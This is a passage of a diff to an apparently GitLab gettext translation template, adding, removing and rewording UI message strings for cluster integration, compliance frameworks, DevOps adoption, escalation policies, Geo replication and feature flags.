msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7825,9 +7699,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7876,15 +7747,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7909,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7930,27 +7792,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7960,24 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8008,9 +7837,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8032,21 +7858,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8071,27 +7885,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -8107,12 +7906,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8185,6 +7978,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8200,9 +7996,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8501,9 +8303,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8540,9 +8339,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8561,42 +8357,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8615,6 +8378,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8869,6 +8635,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9224,7 +8993,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9263,6 +9032,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9329,6 +9101,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9569,9 +9344,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9698,9 +9470,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9932,6 +9701,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9941,9 +9716,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9959,9 +9731,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10037,6 +9806,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10258,9 +10030,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10327,6 +10096,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10688,9 +10469,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10715,6 +10493,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10748,7 +10529,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10868,6 +10649,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11553,12 +11337,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11616,7 +11418,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11628,21 +11430,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11676,6 +11481,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11697,6 +11505,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11715,15 +11526,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11911,7 +11719,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11962,7 +11770,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11971,6 +11779,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12187,9 +11998,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12223,9 +12031,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12286,6 +12091,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12415,6 +12223,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12424,13 +12235,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12511,13 +12325,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12535,6 +12346,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12550,9 +12364,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12562,9 +12373,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12694,6 +12502,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12859,9 +12670,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13342,7 +13150,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13351,30 +13159,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13384,6 +13216,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13420,9 +13261,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13568,7 +13406,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13589,9 +13427,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13688,9 +13523,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13709,9 +13541,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13997,9 +13826,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14031,9 +13857,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14082,9 +13905,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -14115,9 +13935,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14133,9 +13950,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14175,24 +13989,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14202,9 +14004,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14290,9 +14089,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14308,6 +14104,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14374,9 +14173,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14545,6 +14341,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14566,10 +14365,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14773,159 +14569,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15016,6 +14674,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -15115,9 +14776,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15190,6 +14848,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15199,6 +14863,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15229,9 +14896,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15253,6 +14917,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15793,9 +15466,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15841,6 +15511,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15862,9 +15541,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15895,6 +15571,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15964,13 +15643,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
